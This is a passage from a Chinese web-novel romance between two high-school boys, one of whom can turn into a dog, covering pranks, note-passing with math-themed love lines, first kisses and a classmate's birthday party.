某种程度上来说,翘课和请假是韩季京在学校里最喜欢干的两件事。但遇到类似运动会这种活动还好,正常上课时如果真不去学校,爸爸妈妈知道后不一定会赞同他的做法。 开篇卖惨说去不了就是在等韩城最后的这句话,一般来讲,这位行动力很强的表哥下一步就会主动去给他请假。 韩季京低头去点击手机屏幕,一连串黑白色小狗比心的表情包欢快地蹦进对话框。他满意地勾起嘴角,拇指按下锁屏键的瞬间,才发现喻修越不知道什么时候已经贴在了他旁边。 两个人肩膀紧贴着肩膀,隔着衣服布料能感受到彼此微热的体温,空气里还带着一股属于草莓小蛋糕的淡淡甜腻气息。 凑过来偷看的年级第一垂着眼睫,目光还停留在韩季京掌心里暗下去的手机屏幕。见他侧过脸后也不躲,只从容地移动眼珠回看过去。 那双眸瞳在细碎的日光下泛着雾蓝色的光斑,喻修越保持着这个微妙的距离与姿势,呼吸透过空气,若有若无地轻轻扫过后者的耳廓。 韩季京盯着他侧脸上没擦干净的奶油看了几秒,抽动了下鼻子,摸了摸耳垂上那颗和他相互对应的耳钉,金属微凉的触感在指腹清晰可辨。他思想放空一瞬,等反应过来时,身体先于意识行动,嘴唇在喻修越中途伸出来拦截的手前悬停。 下一秒,喻修越捏住他的下巴,指节抵上他未来得及收起的犬齿,在尖锐的齿尖不轻不重地摩挲了一下,带了点笑意问:“韩小点心,你是饿了吗?” 邱扬北和秦皓璜不过是回来喝了口水,连椅子都没坐热就又返回了操场。空荡的教室里,韩季京视线聚焦,犬齿很轻地磕在他的指节上。 像是没接收到喻修越在说什么,他歪着头“唔”了一声,舌尖无意识舔过对方指尖,目光还黏在那点奶油上,半晌反应过来,含糊地开口说:“……蛋糕好甜耶,显眼包,你要不要也尝尝?” “你是饿了吗?”,但回答“要不要尝蛋糕”,话音未落,韩季京就意识到自己的回答牛头不对马嘴。不由得愣住一秒,想去舔他脸颊上奶油的动作生生止住,随手抓起桌子上写了几个化学公式的草稿纸。 好像显眼包是说过如果直接上嘴的话会很不卫生…… 他把纸张一把糊在喻修越脸上,胡乱蹭了两下算是擦干净剩下的奶油,再将皱巴巴的纸随便团成团扔到一边,飞速地接话说:“饿了!” “…你不吃蛋糕吗?”在喻修越似乎形成实质的视线里,韩季京移开话题指了指被自己挖了一勺的草莓蛋糕,放大了声音强调说:“超级甜的诶!……” 突然被废纸抹了一脸,喻修越大概知道他之前想干什么,没什么脾气,只是平静地问:“你还吃吗?” 得到了就不再心心念念,韩季京啃上一口就想吃其他东西。他想吃的还有好多好多,“鱼丸、烤冷面、关东煮……”他摇摇头诚实地开口,语气雀跃又理直气壮,“我想吃其他的!” 喻修越“啊”地笑起来:“这么贪心。” 反正再怎么说都还会给买,韩季京自动忽视话语不管这些,对着他眨了眨眼睛,提示他还没有回答自己刚刚的问题。 喻修越拿起一旁透明的蛋糕盖子,动作间忽然停顿了半秒,像是想起什么有趣的事,才不紧不慢地将盖子扣好,再灵巧地用丝带系了个漂亮的结。 转身时,他余光瞥见那双亮得惊人的眼睛正眼巴巴望着自己。喻修越唇角微扬,勾着蛋糕绳弯了下眼眸,意有所指地把摄像机收到包里:“…我回去再吃。” 第88章 如果掰着指头算时间的话, 周一等周三,周三念周六,早上幻想此刻已经见到中午的太阳, 到午饭点又迫不及待想要放学……韩季京每天惯例上课,踩着凳子横梁转笔时,总觉得这些日子实在有些难熬。 幸好即将迎来没有几天的暑假。 新课已经全部教完, 试卷上的枯燥题目变成振动的音符,妄图击打他脆弱的小狗大脑,进入神经末梢后又变成催眠的序曲, 惹得韩季京每次上第一节课都要打瞌睡。 偶尔胳膊撑不住沉重的脑袋, 猝不及防在任课老师面前直挺挺地用额头磕碰桌面,被叫起来后熟练地摆出什么都没发生过的样子,站在座位上不太清醒地左顾右盼。 这时候总有一种不真切感, 就像是在做梦。窗外的晨光斜斜地照射进来,透过窗玻璃倒影入瞳膜,细碎的尘埃在光线里浮动,像是被搅散的金粉, 折射出模糊的光斑, 幻化成一片片斑斓的射线。 梦里老柳把保温杯往讲台上一搁,粉笔灰近距离地簌簌落下, 秦皓璜在隔壁桌冲他挤眉弄眼,后排翻卷子的响声沙沙的, 像是隔着很远的水面传来,声音近乎空耳……他下意识回头,撞进一池寂静的墨蓝色湖泊。 喻修越撑头望他,眸子浅浅弯着,状似叹惜一样扬了下唇角。 韩季京不由自主抬起脚, 回神过来,发现自己已经站在了他旁边。 幸好喻修越的座位就在靠窗的最后一个,韩季京靠墙站,手上夹了张写一半的试卷和睡觉时也要抓着的笔,老师还以为他终于良心发现痛改前非,懂得在上课睡觉之后自己惩罚自己。 但怎么可能。韩季京只会无辜地说他怎么可能会有错。 “很困吗?”喻修越转着笔侧头问,声音一下把他拉回现实,“已经让你昨天晚上早点睡觉。” “……但是版本更新了新剧情。” 韩季京努力睁大眼睛,无形的耳朵也耷拉下来:“如果不过的话,我攒不够下一期执政官复刻的满命票数。” “而且,”他说,“写卷子真的好无聊诶。”韩季京小小不满地强调。都会的题反复写,写到厌倦写到呕吐,还不如让他和喻修越一起去照相。 毕竟运动会结束到现在这段日子,喻修越的爱好像雨后冒出来的春笋一样,续研究新型双层蛋糕后又爱上了摄影。 研究双层蛋糕是第一个。 当天运动会后喻修越把蛋糕提回了家,韩季京又想一个人独吞又想着和他分,最后邪恶的比格京还是没抵挡住美味蛋糕的诱惑——指没有分享歹毒地全吃了——难受的晚上闹肚子在床上翻来翻去地变成小狗从床头滚到床尾,一边用湿漉漉的鼻子拱人一边哼唧说后悔没有和男朋友分享,吵得喻修越睡不了觉。 于是卓越的好学生下定决心自己学习蛋糕的双层做法,这样就可以一人一层,还能避免材料不卫生,即使这多半是因为韩季京吃得太多而觉得胃难受。 而摄影是突然萌生的第二个爱好。在每周末‘雷打不动地骑着那辆韩季京送给他的山地车去调试无人机’和‘上补习班’外,其余的空闲时间里都会问韩季京要不要去拍点什么。 地点是动物园、植物园或者是高山景区,总之随便什么,路上的街景喻修越也喜欢拍,美名其曰称为“另类写生”。上山后韩季京叼着冰棍没有目标地乱看,卷发被水珠沾湿,似有所感般回首,发现自己不知何时已经身处对方的镜头焦点。 他去抢相机,喻修越直接松手给他。相册里有景色,也有放大怼脸的人相,一溜烟滑过去,里面百分之八十都会出现同一个人的身影。 昏暗灯光下模糊的侧脸,逆光中几乎看不真切的轮廓……有的充斥着难以言说的氛围感,有的角度刁钻到抽象。 虽然他心里的标准和正常人可能有些区别,比如换衣服时被抓拍的侧身在他心里反倒经不起一点波澜,但韩季京一向注重自己的形象。 他手快把不喜欢的全都删了,指着其中最离谱的一张问身旁的大摄影家“什么是艺术?”,喻修越略有所思地“啊”了声,勾唇淡然表示自己只是随便乱拍,意思是并不是一个合格的艺术家。 “那显眼包,”韩季京咬着冰棍,发音有些含糊不清,“你能不能拍点正常的诶?” 他靠在铝合金栏杆上,冰棍被热源融化,滴下的水滴消失在山地的土里。 喻修越没回答,只是调整了下光圈。镜头里的人逆着光,发梢被风吹得卷成一团,幻视垂在脑后的小狗耳朵,犬齿尖尖地压住下唇,磕碰出微弱的凹陷。 面前的背景是模糊的山脉,喻修越弯着眼睛,随意地按下快门。 “可能,我的镜头比较喜欢你?” 回家时两个人一个骑自行车一个滑滑板,沿着盘山公路的柏油路俯冲而下。 山风呼啸着从耳边掠过,路面泛着温热的余晖,轮胎碾过细碎的石子,发出轻微的沙石声响。韩季京的视线里只有不断后退的树影、扑面而来的阳光,和喻修越被夕阳染成金色的背影。 他张开双臂,衣摆被风吹乱翻飞,像鸟一样自由而酣畅淋漓,和安稳规律的校园活动完全是两个极端。 期末考试的倒数第二天,秦皓璜领了份检讨,理由是骚扰路灯。 主意是喻修越出的,行动是韩季京发起的,他早上语文课才万分不清醒的自我罚站,势必要让嘲笑人的‘右护法’也尝尝这个滋味。 几个人体育课在操场玩真心话大冒险,草地上彰显着最新一轮的结果:三根交叠的笔杆正指向喻修越。 韩季京用随身携带的笔帽戳了戳他的右侧肩膀,后者慢条斯理地转着校园卡,从牌堆摸一张行动卡,看完甩回去,突然伸手捏住韩季京领口的布料。 他在韩季京疑惑的视线里凑过去,轻巧地用身体挡住其他人看过来的目光。 紧接着,喻修越快速用唇瓣点了点对方的唇角。张开手掌,不引人注目地按压到对方宽松校服下微微鼓起的柔软胸口,上面还隐约残留着湿润的痕迹。 “还疼吗?”他轻声问。 韩季京卷发下的耳朵瞬间不受控制地烧了起来,他想要屈起腿,但两个人之间的间隔接近于零,只得眨眨红茶色的眼睛,呈现出湿漉漉的倒映。 “显眼包……?” “我选大冒险。” 喻修越一秒就收回手,顺便替他系上领口最上方的那枚纽扣,指尖若有若无地擦过锁骨,触电一般的细微感觉从皮肤相碰处传来。 卡片上明晃晃写着*和在座的一位接吻或回答‘形容自己该用哪三个词语?’*,身为安分的高中生,他们到现在为止进行的都是真心话和不太为难人的大冒险,比如亲吻十秒大地、站起来大喊三遍我是大可爱,更何况这个真心话这么简单…… 周围安静了两秒,随即爆发出压低的起哄声,喻修越跟什么都没做一样端正地坐了回去,随手一转,笔尖稳稳指向秦皓璜的方向。 被指到的人潇洒地摸出一张卡片,笑容顷刻间僵直在脸上。 邱扬北瞄到上面的字,幸灾乐祸起来:“既然学神开创了先河,那就不能耍赖选真心话了。”他扭头,话语说到一半,“对不对啊点……” 韩季京只是坐在草地上抱着腿,用手掌撑住脑袋,把自己的半张脸埋进膝盖上的校服外套里,微微歪着头看喻修越。 “对啊对啊,”他说,没看到秦皓璜求助的目光,嗯嗯点头,“所以你快上吧!” 秦皓璜抹了把脸,摆出一个夸张的健美姿势,沉下心来:“等着,老子给你们表演个法式深吻路灯!” 韩季京这才一乐,转过头盯着他动作,跟猛地想起自己组织这场游戏的目的一样,摸出喻修越口袋里的手机对着他拍。 秦皓璜双手撑墙,撩起校服下摆露出半截腰,一个标准的壁咚姿势把路灯圈在臂弯里。 “宝贝儿,”他掐着嗓子对路灯说,“都看着呢,给哥哥个面子?” 有人憋不住喷出可乐,韩季京笑得去拍喻修越的大腿,忽地想到什么,大声跟着其他人调侃秦皓璜几声,故意严肃地侧过头:“显眼包,我也要……” 他的话语卡在半截,英语老师的身影出现在路灯下。 她的声音从拐角传来:“咦,右护法,需不需要来我办公室坐坐?” “要什么?”喻修越慢悠悠地按住他正在录像的手,镜头里秦皓璜的校服一秒被放下来,有些局促地站在那里。 邪恶比格京故意在这时大喊:“哥哥酱——如果我是路灯的话,你会叫我宝贝儿吗?” 人群爆发出完全没有压低的笑声,秦皓璜站在那里,像极了一只被烤熟的番薯,他故作轻松地将校服甩到肩上,同手同脚地走了两步。 教学楼里传来下课的铃声,人类肢体学习者一个箭步跑出去,声音消散在空气里:“华姐,我错了!!韩点心——你让你对象叫你————” “……宝贝儿?” 喻修越适时贴近韩季京的耳畔,三个字轻得像羽毛落地。 他站起身,又伸出手把韩季京拉起来,看他半天没有动作,只是捧着校服站在那里,一副小狗脑袋短路的思考模样。 “怎么了诶?”喻修越语气带笑。 半秒后,小狗抬起头,鼓起左侧的腮帮子,回答说:“我还没有叫你哥哥。” 第89章 忽略叫没叫哥哥的问题, 喻修越平时说话都带着二分淡然三分看不起人和五分不符合年龄段的平静,突然蹦出这样的词语,韩季京回神过来后, 浑身都觉得有些不自在。 如果变成小狗的话,浑身的绒毛可能都已经炸开。可没有变成,这身无形的毛发也固执地竖起来, 从体育课炸到晚自习、炸到家,炸到他抱着喻修越睡觉、再炸到学期末最后一天复习。 这学期的最后一节自习课,桌面上干净的一本多余的书也没有留存。上节课老师写的公式就在他面前一米处, 韩季京盯着那串字符, 低头做物理题时还仍然有些心神不宁。 还有二十分钟就提前放学,但翻开书,满脑子就开始回放喻修越轻飘飘的“宝贝儿”“宝贝儿”。 这三个字像是着了魔一样在他脑袋里乱转、公转、自转, 陀螺狂转,咕噜噜且蛮不讲理地占据了整个大脑。 韩季京鼓着腮帮子伸展双腿,脚跟随意一搭就踩在了讲台边缘。他俯下身,手臂支在桌面上, 掌心托着脸颊, 目光越过磨砂玻璃,望向一墙之隔飘散的柳絮。 它们轻飘飘地浮在空气里, 偶尔粘住玻璃,又很快被风卷走。 他控制不住地又想到喻修越。 教室中他们的距离不过间隔六米, 昨晚的记忆却像一团毛茸茸的热气,在这一刻黏糊糊地纠缠上来。对方的手指贴住他的后背,再顺着脊椎处的凹陷移动,被指尖触碰到的皮肤开始在黑暗里发烫,莫名其妙地, 他感觉到胸膛中的心跳变得好快,自己变成了窗外的其中一团柳絮,不知道什么时候才会落地。 韩季京把脸埋进臂弯,耳尖一瞬烧得通红。物理公式在草稿纸上扭成模糊的蚯蚓,他盯着看了一会儿,突然意识到一个事实。 他们好像是在谈恋爱诶。 思绪处于“好像是在谈恋爱”和“确实是在谈恋爱”之中,亲吻和拥抱都是再正常不过的日常,很久之前随随便便下的定义在这一刻被彻底重新拉出来。 他模模糊糊地想起自己说“那我们就是在谈恋爱”时的轻快,语气随意地就像是在谈论今天中午吃什么,虽然这的确是一个值得思考的世纪难题。 而当时的喻喻修越是什么态度呢,他好像只是笑,手指捏着小狗的耳朵打转,言语同意或是行动实施,总之在一起的轻松程度就像喝了口水,哪怕他根本没有理解这三个字的重量与真正含义。 可现在不一样了。 他盯着粘住窗玻璃的一团柳絮发呆,它被阳光晒得浮现金灿灿的光晕。回忆顺着喻修越低头挤压的动作发散,胸腔里顺势涌起一阵陌生的痒意,像是有什么东西将要破土而出。 他们一开始就不属于朋友之间的勾肩搭背,“喜欢”和“喜欢”没有明确的界限,从他有记忆起……反正正常兄弟之间都不这样。 韩季京和谁都说过喜欢,路边的野花小草,偶然帮助过他的同学,或是多给了他一块糕点的蛋糕店店员。但普通兄弟之间不会在夜深人静时交换湿润的呼吸,不会在递水时故意触碰对方的指尖,就像历史书上的关羽和张飞不会用亲吻表达对彼此的认可。 他仿佛又听到喻修越昨晚咬他耳尖时含混的低笑,接触到时浑身都开始滚烫。对方的眸瞳属于很深的蓝,但那根本不是颜色的问题,每当喻修越望过来时,里面翻涌的东西都会让人脚下一空,像踩进一片未知的海,令他整个人像过电般颤栗,慌不择路地环住面前的脖颈,呜咽着在一片雾蒙蒙的湖泊中下意识回答喜欢。 一切突然豁然开朗。 那句随随便便的话是一句温柔陷阱,不知道什么时候已经把他圈牢。活泼捣蛋的、相貌超群的、每天有发泄不完精力的比格京在这一瞬间彻底明了,他在炽白色的灯管下回头,摸出口袋里的蓝莓味硬糖塞进嘴里。 滑板、游戏、甜点和喻修越。 秦皓璜还在讲台的另一边对着习题苦思冥想,教室后方传来同学们压低嗓音的探讨声音。韩季京从抽屉里掏出一张黄色的大便利贴,对折时发出轻微的脆响,被折成纸飞机的样子放在书本上方。 他毫不掩饰地回头,正对上喻修越转笔的姿态。自习课的笔杆没有停歇的时刻,在后者指间转出半道圆弧,又像察觉到视线般突然停住。 喻修越抬眼,睫毛在碎光下变成透明的湖泊蓝色。 哈气,翻转。纸飞机从韩季京掌心滑行出去,掠过前排同学的头顶。纸做的玩具顺着电风扇搅起的气流在空中打了个旋儿,最后准确无误地一头栽进喻修越摊开的数学真题中。 他轻巧地拿起纸飞机,展开的便利贴上画着歪歪扭扭的简笔画:一只炸毛的黑白色小狗,头顶飘着一团乱糟糟的黄色线团。下方用蓝色水笔写了又涂掉的字迹隐约可辨。 【显眼包,我发现——】 涂黑的字句末端,新添的箭头直指一块蓝色的线团,旁边补了句力透纸背的字体,工整到近乎笨拙。 【我们真的是在谈恋爱诶。】 喻修越盯着便利贴看了两秒,只是顺手写下一句话,再将纸飞机重新折好。指尖在机翼处轻轻一弹,纸飞机便晃晃悠悠地原路飞回去,被韩季京高高抬起胳膊一把抓住。 ——【那不然呢?】 纸条上这样写着,好像能幻听对方勾着唇的语调。 韩季京憋气低头,在纸条背面补了只炸毛的黑白小狗,耳朵尖还特意点上两撮翘起的绒毛。 【显眼包!是真的诶!我们在谈恋爱,我很认真!】 【我知道诶,怎么,你要听情话吗?】 回复来得很快,喻修越在纸上涂写,就和昨天晚上被他抱着埋胸时说“你心跳好吵”一样随意简单。 蓬松的卷发有几缕不听话地翘起来,发丝扫在眉骨,被风扇吹开后露出的红茶色眼眸亮的有些惊人,韩季京盯住纸条的虹膜里凝着一点亮得灼人的光,像七彩色糖纸,拆开再合上就会漾出蜜糖。 于是韩季京回头看他,对方的目光正顺着他的眉骨滑到唇角,手上仍慢条斯理地转着笔。那副规规矩矩的大黑框眼镜架在鼻梁,乖巧好学生的伪装裂开一道缝隙,露出底下近乎幼稚的坏心思。 “翻面。”喻修越用口型说。 韩季京把纸条翻过来,对着那行离奇的公式观摩了三秒。而始作俑者正托着腮看他,嘴角噙着得逞般的笑意。 喻修越用笔尖轻轻点着刚验算完的数学题,草稿纸上还残留着思考情话时打的草稿: 【特征向量→心动方向】 【正定矩阵→你】 【谱半径→吸引范围】 三行笔迹穿过草稿纸上未干的墨渍,投影入卷发少年的瞳孔。 ——【即便在概率测度坍塌的宇宙里,我的特征向量,仍永远指向你正定矩阵的普半径中心。】 韩季京忍不住心想,喻修越是要跟他比谁更懂数学吗,这简直太坏了! 他按捺住从刚刚开始就莫名其妙的心跳,抓起笔紧跟着狠狠写下: 【证:设喻修越=?】 【则lim(t→∞)f(韩季京)=喻修越】 【则…… “在解什么?”蓝笔突然被一只骨节分明的手按住,草稿纸上未写完的证明被阴影笼罩。喻修越不知道什么时候出现在他背后,还带着草莓蛋糕的甜意。 下课铃上一秒在他思索的间隙响起,韩季京这才发现教室里已经喧闹起来,同学们推搡着往外走,而他仍然规规矩矩地坐在座位上。 一旁跟过来的邱扬北暧昧地向他眨眼,而后潇洒地学着秦皓璜一甩书包大步走出了前门。韩季京猛地站起来,鼻梁磕碰到喻修越的下颚,他不由得眨了眨眼睛,侧头去观察对方近在咫尺的脸。 温热的温度透过单薄的校服传来,后者推了推眼镜,对着纸张看了半晌,手臂圈住他的腰搭在桌子边沿,而后拿起桌面上的笔。 “是要给我说情话吗,韩小点心。” “因为你先写了,所以,”韩季京问,“不回复的话,是不是很不好?” 喻修越轻笑起来,手指点了点皱巴巴的纸张,在极限符号那一行下潇洒地补充: 【收敛速度:现在立刻马上】 “真的在谈恋爱的话,”他唇瓣几乎贴上韩季京的耳廓,“要接吻吗?”他问。 接吻。 韩季京的脑袋嗡地一声,感觉自己整个人又要大脑宕机,然后控制不住地变成小狗。 从口头确认关系到现在,他们不是没有过亲吻。韩季京喜欢和他贴在一起,但仅限于唇瓣与脸颊的短暂相触,或是简单的点点唇角,跟试探性的触碰没有任何两样,可以幻视小动物好奇地用鼻尖探寻什么。 声音卡在喉咙里,他用亮晶晶的茶色眼睛看向喻修越的嘴唇,感觉自己已经思绪过载,只剩下一只黑白色的像素小狗在大脑里上蹿下跳着嗷呜嗷呜转圈,尾巴摇成螺旋桨四处疯跑。 韩季京下意识想凑上前去,鼻尖几乎要碰到喻修越的唇角,对方却拿着一顶宽大的渔夫帽盖在他的头上。 喻修越压低声音:“耳朵冒出来了。” 他立刻受惊一样按住盖在自己头上的帽子,才反应过来教室里是有摄像头存在。手指慌乱地在发丝间摸索,却只触碰到自己发量惊人的卷发,没能找到自己宽大的耳朵。 他迷茫地看向喻修越,这才反应过来对方是在开玩笑,鼓起腮帮子不满地瞪人:“显眼包,你好坏耶!” 喻修越勾起唇,隔着渔夫帽,在大概是他耳朵的位置轻轻咬了一口,而后跟没事人一样收拾起他的挎包,拉着他走出教室。 一路上韩季京还在想着接吻的事情,被牵着走时滑板都忘了拿,单手捏着渔夫帽的边缘,盯着喻修越的侧脸发呆。 喻修越摘了眼镜,风吹乱他的额发,露出有些凌厉的眉眼,松开他侧头问:“怎么?” 韩季京眨眨眼睛:“接吻。” 喻修越凑得更近了点,不慌不忙地“嗯?”了声,思考问:“接吻的话,那你要亲我吗?” “明明是你先说的!” 韩季京歪歪头,像是想通了什么一下子变得畅快起来。 他快速小跑几步到喻修越身前三步,然后转过身倒着往前走,得意地叉起腰:“显眼包!因为是我提出来的,所以你现在欠我好多好多吻!” “所以我要去亲你。” “谈了多少天就欠多少个,”韩季京自顾自地数着数,“我才不管,你都要补给我!” 他的校服衣摆被风吹得鼓起来,模样过于得意洋洋,发梢沾着的柳絮在余晖里闪闪发亮,身为一只趾高气扬的小狗,没注意到喻修越紧接着那句话后猛然间拉近的距离。 第一个吻来得猝不及防,喻修越加快脚步,在转弯的小巷中上前抵住仍在喋喋不休的小狗的额头。 斑驳的树影在两人之间摇曳,他屈起食指抚过对方发烫的眼睑和睫毛。唇瓣温热而柔软,呼吸间带着草莓的腻甜,喻修越感觉到自己手下的睫毛随着触碰剧烈颤抖起来,像被雨淋湿的蝶翼。 鼻息温热而暧昧,他看到韩季京茶红的眸瞳倒映出自己的蓝。下一秒,得意的比格京猛地迎男而上,伸出手揪住喻修越的校服后领,犬齿重重咬到他的唇瓣,这个反击来的又狠又凶。 布料在指间皱成混乱的折痕,这是场过于幼稚的较量,空气几乎要被灼热的温度融化。喻修越的手滑入他的发间,指尖缠绕着那些蓬松的卷发,又顺着对方绷紧的脊线前移,在胸膛处不轻不重地一按。 韩季京立刻像被捏住后颈般僵住,揪着衣领的手指把校服扯得彻底变了形,发出一声小小的呜咽,睁大了略微涣散的眼眸。 “第一个,”喻修越在换气的间隙模糊地问,语气带笑,“这算是吗?” 第90章 韩季京百度百科搜索“接吻”, 弹出来的信息五花八门。 光是分类就有很多种,什么法式接吻、湿吻、啄吻……可怜的聪明脑袋看文字介绍一点也看不懂,但他发誓要好好学习这门有待增进的恋爱必备技巧, 目标是不被男朋友喻修越评价说是小狗乱啃。 这是一项艰难的学习过程,毕竟他从本质来说就是一只小狗。舔到东西就忍不住用犬齿啃咬,在对方的唇齿间横冲直撞, 像是在玩一个好玩的磨牙玩具,用力程度向来不知收敛。 好在喻修越对此适应良好,偶尔被咬疼了才报复性地掐一下他的腰窝或是胸口, 没想到这只比格点心哪怕被掐得浑身发颤, 却还是睁着眼睛叼住他的下唇不放。 就如同对亲密接触觉醒了某种近乎本能的渴求,韩季京的行为总是先于大脑思考。只要两个人待在一起,他的指尖就会不自觉勾住衣角, 将脑袋无意识地往肩窝里蹭,等反应过来时,整个人已经像块牛皮糖般黏在了喻修越身上。 就像现在,长手长脚的十八岁高中生把目标人物抵在沙发一角, 膝盖分开跨坐在对方的腿上。 他的头发确实有些长了, 蓬松的卷发像一团柔软的棉花糖一样落在后颈,露出的一点耳尖泛着粉红的颜色。 韩季京用膝盖抵住沙发垫, 把喻修越困在手臂与靠枕之间,纤长睫毛扑闪着垂眸望向对方的唇瓣, 明明是居高临下的姿势,那双自然下垂的狗狗眼里仍透着湿漉漉的乖巧。 喻修越懒洋洋地靠在沙发上,若有所思地问:“你是要咬我吗?” “我哪里要咬人了?!” 像是为了证明自己的论点,韩季京顿了顿,忽然凑近了些, 故意露出自己两颗尖尖的犬齿,再用舌头舔了舔齿尖。 那双茶红色的眼眸微微睁大,一旁卷翘的发梢随着摇头的动作轻轻弹动,韩季京神色认真地强调:“显眼包,我给你说诶,我现在,很会接吻!” 书里说目光的对视就是一种精神接吻,那喻修越先移开视线他就大获全胜,没人比他更懂盯人的技巧。 喻修越自下而上地瞧他残留着果酱的嘴角,半晌开口蹦出两个字:“接吻?” 现在很会是什么会法,身为完美好学生的喻修越也不是很会接吻。 实际上他对于感情发展一直采用的是顺其自然的随缘,要不是察觉到危机感甚至于连推进都懒得推进。 韩季京跟他的相处态度亲密到外人一看就觉得不是普通发小,但主要原因在于这家伙根本不懂得什么叫和人保持距离,本狗丝毫没有任何这方面的意识,可能连谈恋爱都不知道是个什么东西,对他是想当然般的单纯依赖,而就算口头上在一起,伸舌头这件事怎么说对于以前他们的相处模式来讲都有点奇怪,即使他们除了该做的好像什么都做过。 对于小狗来说,和人贴在一起是一件很正常的事情,那探究一下狗为什么可以变成人类?…好吧这很正常不需要探究,需要的话那这就是另一个半玄幻的都市故事了…… 他面前的韩季京不当然知道他在想什么,只是一眨不眨地凝视那双墨蓝色的眼睛,目标是让喻修越先自己一步移开目光。 一秒、两秒、十秒…… 他就这样一直盯着,直到眼眶发酸到自己都忍不住开始疯狂眨眼睛,与自己对视的喻修越还是那副目光平淡的面不改色,连睫毛都没有多颤抖一下——即使他不理解韩季京到底要做什么,也不理解他这是在和什么较劲。 “好吧,我其实还不是很会接吻…” 韩季京突然泄了气,毛茸茸的脑袋耷拉下来。他用犬齿咬住下唇,又觉得喻修越干什么都很厉害,虽然之前亲吻时对方的行为是纯粹作弊,可谁让自己一被捏住胸口就喘不匀气,只能被外表温吞的狡诈人类玩弄于股掌之中。 思维在‘喻修越好坏’和‘喻修越全世界最好’之间挣扎了一下,韩季京气势汹汹地坐在他腿上,直起腰板,妄图和这几天翻的故事书里那些人一样将带着眼镜的优等生框在自己高大的身形之中。 他用余光去瞄摊开在一旁的小说,正回想着一米八五的高大角色这时候应该做些什么,一只骨节分明的手冷不丁挡住了他的视线。 喻修越拿起那本《玫瑰少年》,背面写着曾用名《狂少的专属学霸:喻教授别想逃》,嘴角不由得扯了下:“方宁司又给你看了什么?” 这种弱智同性文学读物到底是怎么出版的。 韩季京郑重地摇了摇头,纠正道:“是隋林送给我的。” “……” 喻修越对韩小弱智的阅读范围无法干涉,只能宣布:“作为回礼,我将送他几套五三习题。” 韩季京开始看小说,这主要原因归功于整天没事干的方宁司。 照他姐姐方柠华的话说就是不学无术,自从这个潮流的家伙在上次见面时带了两本网络小说后,韩季京就彻底打开了新世界的大门。 期末考试结束后,成绩在暑假补课的第二天公布。那天周末他拽着喻修越一起去了隋林家,对方过生日,顺便感谢喻修越的补课之恩——开学时六门课加起来不到六十分的‘人才’在奋发努力之下,期末终于低空飞过了及格线。 身为隋林相熟同学的方宁司自然也在场。万万没想到此男外表人高马大,内里却有一颗少女般的公主之心,穿着花里胡哨的酒红衬衣递上一套定制版的粉色联名画具。 韩季京跟喻修越算一个礼物,还白嫖了隋林的游戏氪金小号。他和方宁司站一起时当面翻过画具,每支马克笔都印着不同形态的猫咪图案,素描本封面还用烫金工艺勾勒了一只正在玩毛线球的小猫。 他问“为什么不是小狗耶”,内心还以为方宁司送礼物的话会印孔雀图案。 方宁司当场思索半秒:“黑白色,下次见面给你一套小狗餐具好了。” 很显然,这套芭比粉的画具颜色在隋林意料之外,他拿到手时慢半拍地愣了一下,毕竟在一众低调奢华的银白色礼物堆里这件礼物实在过于突出,不知道的以为是女生送的。 送礼的人不以为然地环抱手臂:“不好看吗?”他挑了挑眉,语气理所当然,“哥们,我最喜欢的颜色。” 他身旁那个低他半个头的男生跟着点了点头,韩季京也跟着点点头:“这颜色好可爱诶,我也喜欢。” 喻修越想他又开始三分钟热度:“你什么时候喜欢的粉色?” 韩季京眨眨眼睛:“刚刚。” 送完礼就单纯等着开饭,不吃一顿就离场太过可惜。韩季京百无聊赖地站在餐桌旁挑选,指尖在一排精致的甜点上逡巡,最后拿了一块蓝色的蓝莓饼干咬了一口。 糟糕的口感和干巴的芝士胚让甜点卡在口腔里翻滚,他本着不能浪费的心态硬生生咽了下去,完全想不通摆在桌子上样子这样好看的蛋糕为什么没几个好吃的,喻修越之前最失败的一次烘焙制品味道都比它还好上百倍。 “所以除了笨蛋外就没有人吃啊。” 喻修越微微低头,就着他的手把剩下的那半叼进嘴里。 韩季京不用想就知道他在说自己是笨蛋,果然,随之而来的就是喻修越喉咙间漏出的一声含糊轻笑。他刚要瘪嘴,一颗薄荷糖就抵上了唇瓣。 韩季京把硬糖用舌头卷进嘴里,咬住他没来及撤走的手指,表情恶狠狠,虎牙却不轻不重地硌在那节修长的指节上。 喻修越在纸巾上蹭了蹭:“又在咬人。” 甜凉的薄荷味在舌尖炸开,韩季京忍不住控诉:“我都没有用一点点力!显眼包,都没有你昨天咬我时疼!” 他抬起眼,瞧到后方的方宁司从身旁男生挎着的书包里拿了两本书,靠在大厅的沙发上跷起腿。 喻修越神色变换两下:“……那我轻点?” 一旁疑似喻女士商业合作伙伴的西装男走过来,韩季京说:“我要去找隋…”看了一圈,隋林周围也围着一堆人,他顶着喻修越的目光迅速改口,“…方宁司玩了。” 他漂移一样滑到沙发,看了眼跟柱子一样在那里不说话的黑衣青年,一屁股坐在方宁司旁边,给粉红少女心阁下塞过去几颗粉红色的糖,又拆了一包旺旺雪饼凑过去看。 “你看什么也?” “小说。” “精神不正常的科学家小白重生在末世,结识了小黑和小银两个基友,没有觉醒异能,却依靠自己的聪明才智和手段击杀了boss,然后毁灭了全世界。”方宁司翻了一页,评价道,“我们班班花推荐,还挺好看的。” 击杀boss,然后主角毁灭世界? 韩季京作为各大剧情流游戏顶尖玩家,对于这几个字的组合予以深刻怀疑,语气顿错道:“真的假的?” 他歪头去看书名,大大的《穿书之我在末世当黑心白莲花》映入眼帘。 “……” 本以为是某点某茄会被404的黑暗文,没想到是古早玛丽苏脆皮鸭文学,韩季京问,“你这个书,他正经吗?” “比某些人都要正经,”方宁司说着换了个腿跷,“我看了一遍了已经,要看的话送你。” 说到末世,韩季京玩的游戏其实背景和这个差不多,但末世的定义不大相同,他想起前不久复刻时自己充钱抽到满命的猫耳执政官,又转了个弯想到其他的:“话说之前就有科学家预言再过五十年就会人类末日,你说这是真的假的啊?” “假的呗,如果真到末世了,哥们你这种性格肯定是第一个被人骗的,”方宁司指着上面的一段话,点点头说,“你这种好骗的小狗一定是最先被嘎嘣掉的。” “啧,这么想的话,”他又看了眼站那里的喻修越,“你对象肯定能活到最后。” 韩季京跟着一起点头:“那我肯定也没事。” 方宁司停顿半秒:“你这样只能被狡诈的人类玩弄于股掌之间。”他想了想,从一旁的包里又掏出几本书,“长这么高,还这么帅,那肯定要将主权拿捏在自己手中——” 他将书塞进韩季京怀里,语气慎重道:“这几本好好看,韩点心,我保证你一定很有启发。” 